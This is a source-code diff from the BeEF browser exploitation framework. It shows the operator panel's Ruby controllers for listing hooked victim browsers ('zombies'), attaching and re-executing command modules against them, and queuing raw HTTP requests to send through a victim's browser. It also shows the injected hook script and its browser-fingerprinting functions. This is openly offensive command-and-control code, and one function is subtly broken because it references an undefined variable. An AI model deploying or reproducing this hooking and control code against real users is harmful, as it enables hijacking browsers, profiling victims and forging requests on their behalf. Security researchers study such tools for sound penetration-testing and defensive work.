friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name)
|
||||
browser_name_hash = { 'Browser Name' => friendly_browser_name }
|
||||
|
||||
browser_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_name_row) # add the row
|
||||
|
||||
# set and add the return values for the browser version
|
||||
browser_version = BD.get(zombie_session, 'BrowserVersion')
|
||||
browser_version_hash = { 'Browser Version' => browser_version }
|
||||
|
||||
browser_version_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_version_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_version_row) # add the row
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules in a JSON format
|
||||
def select_all_command_modules
|
||||
@body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"])
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules for a TreePanel in the interface.
|
||||
def select_command_modules_tree
|
||||
command_modules_tree_array = []
|
||||
command_modules_categories = []
|
||||
|
||||
# get an array of all the command modules in the database
|
||||
db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
|
||||
|
||||
db_command_modules.each {|command_module_db_details|
|
||||
|
||||
# get the hooked browser session id and set it in the command module
|
||||
hook_session_id = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
|
||||
|
||||
# create an instance of the comand module
|
||||
command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
|
||||
command_module.session_id = hook_session_id
|
||||
|
||||
# set command module treeview display properties
|
||||
command_module_friendly_name = command_module.info['Name'].downcase
|
||||
command_module_category = command_module.info['Category'].downcase
|
||||
|
||||
# create url path and file for the command module icon
|
||||
command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path
|
||||
case command_module.verify_target() # select the correct icon for the command module
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG
|
||||
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
|
||||
else
|
||||
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
# construct the category branch if it doesn't exist for the command module tree
|
||||
if not command_modules_categories.include? command_module_category
|
||||
command_modules_categories.push(command_module_category) # flag that the categor has been added
|
||||
command_modules_tree_array.push({ # add the branch structure
|
||||
'text' => command_module_category,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
end
|
||||
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => command_module_friendly_name,
|
||||
'leaf' => true,
|
||||
'icon' => command_module_icon_path,
|
||||
'id' => command_module_db_details.id
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
command_modules_tree_array.each {|x|
|
||||
if x['text'].eql? command_module_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# sort the array/tree
|
||||
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
command_modules_tree_array.each {|command_module_branch|
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
}
|
||||
|
||||
# return a JSON array of hashes
|
||||
@body = command_modules_tree_array.to_json
|
||||
end
|
||||
|
||||
# Returns the absolute path of the rb file mapped to the id in the database
|
||||
def get_command_module_path(command_module_id)
|
||||
|
||||
# get command_module from database
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
|
||||
|
||||
# construct command_module path
|
||||
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
|
||||
|
||||
absolute_command_module_path
|
||||
end
|
||||
|
||||
|
||||
# Returns the inputs definition of an command_module.
|
||||
def select_command_module
|
||||
|
||||
# get command_module id
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
|
||||
|
||||
# get the command_module path
|
||||
absolute_command_module_path = get_command_module_path(command_module_id)
|
||||
|
||||
@body = command_modules2json([absolute_command_module_path]);
|
||||
end
|
||||
|
||||
# Returns the list of commands for an command_module
|
||||
def select_command_module_commands
|
||||
commands = []
|
||||
i=0
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# get the browser id
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command|
|
||||
commands.push({
|
||||
'id' => i,
|
||||
'object_id' => command.id,
|
||||
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
|
||||
'label' => command.label
|
||||
})
|
||||
i+=1
|
||||
end
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'commands' => commands}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Attaches an command_module to a zombie.
|
||||
def attach_command_module
|
||||
|
||||
definition = {}
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
@params.keys.each {|param|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
|
||||
definition[param[4..-1]] = params[param]
|
||||
}
|
||||
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.new( :data => definition.to_json,
|
||||
:zombie_id => zombie_id,
|
||||
:command_module_id => command_module_id,
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Re-execute an command_module to a zombie.
|
||||
def reexecute_command_module
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
command.has_run = false
|
||||
command.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns the results of a command
|
||||
def select_command_results
|
||||
results = []
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
# get command_module
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
resultsdb = BeEF::Models::Result.all(:command_id => command_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
|
||||
|
||||
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'results' => results}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Returns the definition of a command.
|
||||
# In other words it returns the command that was used to command_module a zombie.
|
||||
def select_command
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'data' => JSON.parse(command.data),
|
||||
'definition' => JSON.parse(e.to_json)
|
||||
}.to_json
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Takes a list of command_modules and returns them as a JSON array
|
||||
def command_modules2json(command_modules)
|
||||
command_modules_json = {}
|
||||
i = 1
|
||||
|
||||
command_modules.each do |command_module|
|
||||
next if not File.exists?(command_module)
|
||||
|
||||
e = File.basename command_module, '.rb'
|
||||
e = BeEF::Modules::Commands.const_get(e.capitalize).new
|
||||
command_modules_json[i] = JSON.parse(e.to_json)
|
||||
i += 1
|
||||
end
|
||||
|
||||
if not command_modules_json.empty?
|
||||
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
|
||||
else
|
||||
return {'success' => 'false'}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
47
lib/ui/panel/index.html
Normal file
@@ -0,0 +1,47 @@
|
||||
<html>
|
||||
<head>
|
||||
|
||||
<title>BeEF Control Panel</title>
|
||||
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ext-beef.js' %>
|
||||
<%= script_tag 'ux/TabCloseMenu.js' %>
|
||||
<%= script_tag 'ux/StatusBar.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/common.js' %>
|
||||
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabMain.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/PanelViewer.js' %>
|
||||
<%= script_tag 'ui/panel/DataGrid.js' %>
|
||||
<%= script_tag 'ui/panel/MainPanel.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTab.js' %>
|
||||
<%= script_tag 'ui/panel/ZombiesPanel.js' %>
|
||||
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/AboutWindow.js' %>
|
||||
<%= script_tag 'ui/panel/Logout.js' %>
|
||||
<%= script_tag 'ui/panel/WelcomeTab.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
<%= stylesheet_tag 'base.css' %>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<%= nonce_tag %>
|
||||
<div id="header">
|
||||
<div class="right-menu">
|
||||
<a id='open-about-menu'>About</a>
|
||||
<a id='do-logout-menu'>Logout</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
25
lib/ui/panel/panel.rb
Normal file
@@ -0,0 +1,25 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Panel < BeEF::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'index' => '/'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
def index
|
||||
@body = 'a'
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
129
lib/ui/requester/requester.rb
Normal file
@@ -0,0 +1,129 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# HTTP Controller for the Requester component of BeEF.
|
||||
#
|
||||
class Requester < BeEF::HttpController
|
||||
|
||||
# Variable representing the Http db model.
|
||||
H = BeEF::Models::Http
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'send_request' => '/send',
|
||||
'get_zombie_history' => '/history.json',
|
||||
'get_zombie_response' => '/response.json',
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Send a new http request to the hooked browser.
|
||||
def send_request
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
# validate that the raw request has been sent
|
||||
raw_request = @params['raw_request'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request is invalid request" if not Filter.is_valid_request?(raw_request)
|
||||
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
webrick = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
|
||||
# validate that the raw request is correct and can be used
|
||||
# will raise an exception on failure
|
||||
s = StringIO.new raw_request
|
||||
webrick.parse(s)
|
||||
|
||||
# Saves the new HTTP request.
|
||||
http = H.new(
|
||||
:request => raw_request,
|
||||
:method => webrick.request_method,
|
||||
:domain => webrick.host,
|
||||
:path => webrick.unparsed_uri,
|
||||
:date => Time.now,
|
||||
:zombie_id => zombie.id
|
||||
)
|
||||
|
||||
if webrick.request_method.eql? 'POST'
|
||||
http.content_length = webrick.content_length
|
||||
end
|
||||
|
||||
http.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns a JSON object containing the history of requests sent to the zombie.
|
||||
def get_zombie_history
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
history = []
|
||||
H.all(:zombie_id => zombie.id).each{|http|
|
||||
history << {
|
||||
'id' => http.id,
|
||||
'domain' => http.domain,
|
||||
'path' => http.path,
|
||||
'has_ran' => http.has_ran,
|
||||
'date' => http.date
|
||||
}
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'history' => history}.to_json
|
||||
end
|
||||
|
||||
# Returns a JSON objecting containing the response of a request.
|
||||
def get_zombie_response
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate the http id
|
||||
http_id = @params['http_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
|
||||
|
||||
# validate that the http object exist in the dabatase
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
|
||||
|
||||
res = {
|
||||
'id' => http_db.id,
|
||||
'request' => http_db.request,
|
||||
'response' => http_db.response,
|
||||
'domain' => http_db.domain,
|
||||
'path' => http_db.path,
|
||||
'date' => http_db.date,
|
||||
'has_ran' => http_db.has_ran
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'result' => res}.to_json
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
113
lib/ui/session.rb
Normal file
@@ -0,0 +1,113 @@
|
||||
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# The session for BeEF UI.
|
||||
#
|
||||
class Session
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Crypto::secure_token
|
||||
@nonce = BeEF::Crypto::secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged out
|
||||
#
|
||||
def set_logged_out
|
||||
@id = nil
|
||||
@nonce = nil
|
||||
@ip = nil
|
||||
end
|
||||
|
||||
#
|
||||
# set teh auth_timestamp
|
||||
#
|
||||
def set_auth_timestamp(time)
|
||||
@auth_timestamp = time
|
||||
end
|
||||
|
||||
#
|
||||
# return the session id
|
||||
#
|
||||
def get_id
|
||||
@id
|
||||
end
|
||||
|
||||
#
|
||||
# return the nonce
|
||||
#
|
||||
def get_nonce
|
||||
@nonce
|
||||
end
|
||||
|
||||
#
|
||||
# return the auth_timestamp
|
||||
#
|
||||
def get_auth_timestamp
|
||||
@auth_timestamp
|
||||
end
|
||||
|
||||
#
|
||||
# Check if nonce valid
|
||||
#
|
||||
def valid_nonce?(request)
|
||||
|
||||
# check if a valid session
|
||||
return false if not valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false if not request.request_method.eql? "POST"
|
||||
|
||||
# get nonce from request
|
||||
request_nonce = request.query['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# verify nonce
|
||||
request_nonce.eql? @nonce
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check if a session valid
|
||||
#
|
||||
def valid_session?(request)
|
||||
|
||||
# check if a valid session exists
|
||||
return false if @id.nil?
|
||||
return false if @ip.nil?
|
||||
|
||||
# check ip address matches
|
||||
return false if not @ip.to_s.eql? request.peeraddr[3]
|
||||
|
||||
# get session cookie name from config
|
||||
config = BeEF::Configuration.instance
|
||||
session_cookie_name = config.get('session_cookie_name')
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
|
||||
}
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
101
lib/ui/zombies/zombies.rb
Normal file
@@ -0,0 +1,101 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Zombies < BeEF::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'select_all' => '/select/all/complete.json',
|
||||
'select_online' => '/select/online/complete.json',
|
||||
'select_offline' => '/select/offline/complete.json',
|
||||
|
||||
'select_online_simple' => '/select/online/simple.json',
|
||||
'select_all_simple' => '/select/all/simple.json',
|
||||
'select_offline_simple' => '/select/offline/simple.json'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Selects all the zombies and returns them in a JSON array.
|
||||
def select_all; @body = zombies2json(BeEF::Models::Zombie.all); end
|
||||
|
||||
# Selects all the zombies (IPs only) and returns them in JSON format
|
||||
def select_all_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all); end
|
||||
|
||||
# Selects all online zombies and returns them in a JSON array.
|
||||
def select_online; @body = zombies2json(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))); end
|
||||
|
||||
# Selects all online zombies (IPs only) and returns them in a JSON array
|
||||
def select_online_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))); end
|
||||
|
||||
# Selects all the offline zombies and returns them in a JSON array.
|
||||
def select_offline; @body = zombies2json(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))); end
|
||||
|
||||
# Selects all the offline zombies (IPs only) and returns them in a JSON array.
|
||||
def select_offline_simple; @body = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))); end
|
||||
|
||||
private
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json(zombies)
|
||||
zombies_hash = {}
|
||||
|
||||
zombies.each do |zombie|
|
||||
|
||||
# create hash of zombie details
|
||||
zombies_hash[zombie.session] = get_hooked_browser_hash(zombie)
|
||||
|
||||
end
|
||||
|
||||
zombies_hash.to_json
|
||||
end
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json_simple(zombies)
|
||||
zombies_hash = {}
|
||||
|
||||
zombies.each do |zombie|
|
||||
|
||||
# create hash of zombie details
|
||||
zombies_hash[zombie.session] = get_simple_hooked_browser_hash(zombie)
|
||||
|
||||
end
|
||||
|
||||
zombies_hash.to_json
|
||||
end
|
||||
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => hooked_browser.domain,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
# create a hash of hooked browser details
|
||||
def get_hooked_browser_hash(hooked_browser)
|
||||
|
||||
hooked_browser_hash = get_simple_hooked_browser_hash(zombie)
|
||||
return hooked_browser_hash.merge( {
|
||||
'lastseen' => zombie.lastseen,
|
||||
'httpheaders' => JSON.parse(zombie.httpheaders)
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
44
modules/beefjs/beef.js
Normal file
@@ -0,0 +1,44 @@
|
||||
/*!
|
||||
* BeEF JS Library <%= @beef_version %>
|
||||
* http://beef.googlecode.com/
|
||||
*/
|
||||
|
||||
<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
|
||||
|
||||
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
var BeefJS = {
|
||||
|
||||
version: '<%= @beef_version %>',
|
||||
|
||||
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
|
||||
pageIsLoaded: false,
|
||||
|
||||
// An array containing functions to be executed by Beef.
|
||||
commands: new Array(),
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
/**
|
||||
* Adds a function to execute.
|
||||
* @param: {Function} the function to execute.
|
||||
*/
|
||||
execute: function(fn) {
|
||||
this.commands.push(fn);
|
||||
},
|
||||
|
||||
/**
|
||||
* Registers a component in BeEF JS.
|
||||
* @params: {String} the component.
|
||||
*
|
||||
* Components are very important to register so the framework does not
|
||||
* send them back over and over again.
|
||||
*/
|
||||
regCmp: function(component) {
|
||||
this.components.push(component);
|
||||
}
|
||||
};
|
||||
|
||||
window.beef = BeefJS;
|
||||
}
|
||||
350
modules/beefjs/browser.js
Normal file
@@ -0,0 +1,350 @@
|
||||
/**
|
||||
* @literal object: beef.browser
|
||||
*
|
||||
* Basic browser functions.
|
||||
*/
|
||||
beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns the user agent that the browser is claming to be.
|
||||
* @example: beef.browser.getBrowserReportedName()
|
||||
*/
|
||||
getBrowserReportedName: function() {
|
||||
return navigator.userAgent;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE6.
|
||||
* @example: beef.browser.isIE6()
|
||||
*/
|
||||
isIE6: function() {
|
||||
return !window.XMLHttpRequest && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE7.
|
||||
* @example: beef.browser.isIE7()
|
||||
*/
|
||||
isIE7: function() {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE8.
|
||||
* @example: beef.browser.isIE8()
|
||||
*/
|
||||
isIE8: function() {
|
||||
return !!document.documentMode && document.documentMode == 8;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE9.
|
||||
* @example: beef.browser.isIE9()
|
||||
*/
|
||||
isIE9: function() {
|
||||
return !!document.documentMode && document.documentMode >= 9;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE.
|
||||
* @example: beef.browser.isIE()
|
||||
*/
|
||||
isIE: function() {
|
||||
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF2.
|
||||
* @example: beef.browser.isFF2()
|
||||
*/
|
||||
isFF2: function() {
|
||||
return !!window.globalStorage && !window.postMessage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF3.
|
||||
* @example: beef.browser.isFF3()
|
||||
*/
|
||||
isFF3: function() {
|
||||
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF35.
|
||||
* @example: beef.browser.isFF35()
|
||||
*/
|
||||
isFF35: function() {
|
||||
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF36.
|
||||
* @example: beef.browser.isFF36()
|
||||
*/
|
||||
isFF36: function() {
|
||||
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF4.
|
||||
* @example: beef.browser.isFF4()
|
||||
*/
|
||||
isFF4: function() {
|
||||
return !!window.globalStorage && !!window.history.replaceState;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari.
|
||||
* @example: beef.browser.isS()
|
||||
*/
|
||||
isS: function() {
|
||||
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 5.
|
||||
* @example: beef.browser.isC5()
|
||||
*/
|
||||
isC5: function() {
|
||||
return !!window.chrome && !window.webkitPerformance;
|
||||
},
|
||||
|
||||
/**
|
||||
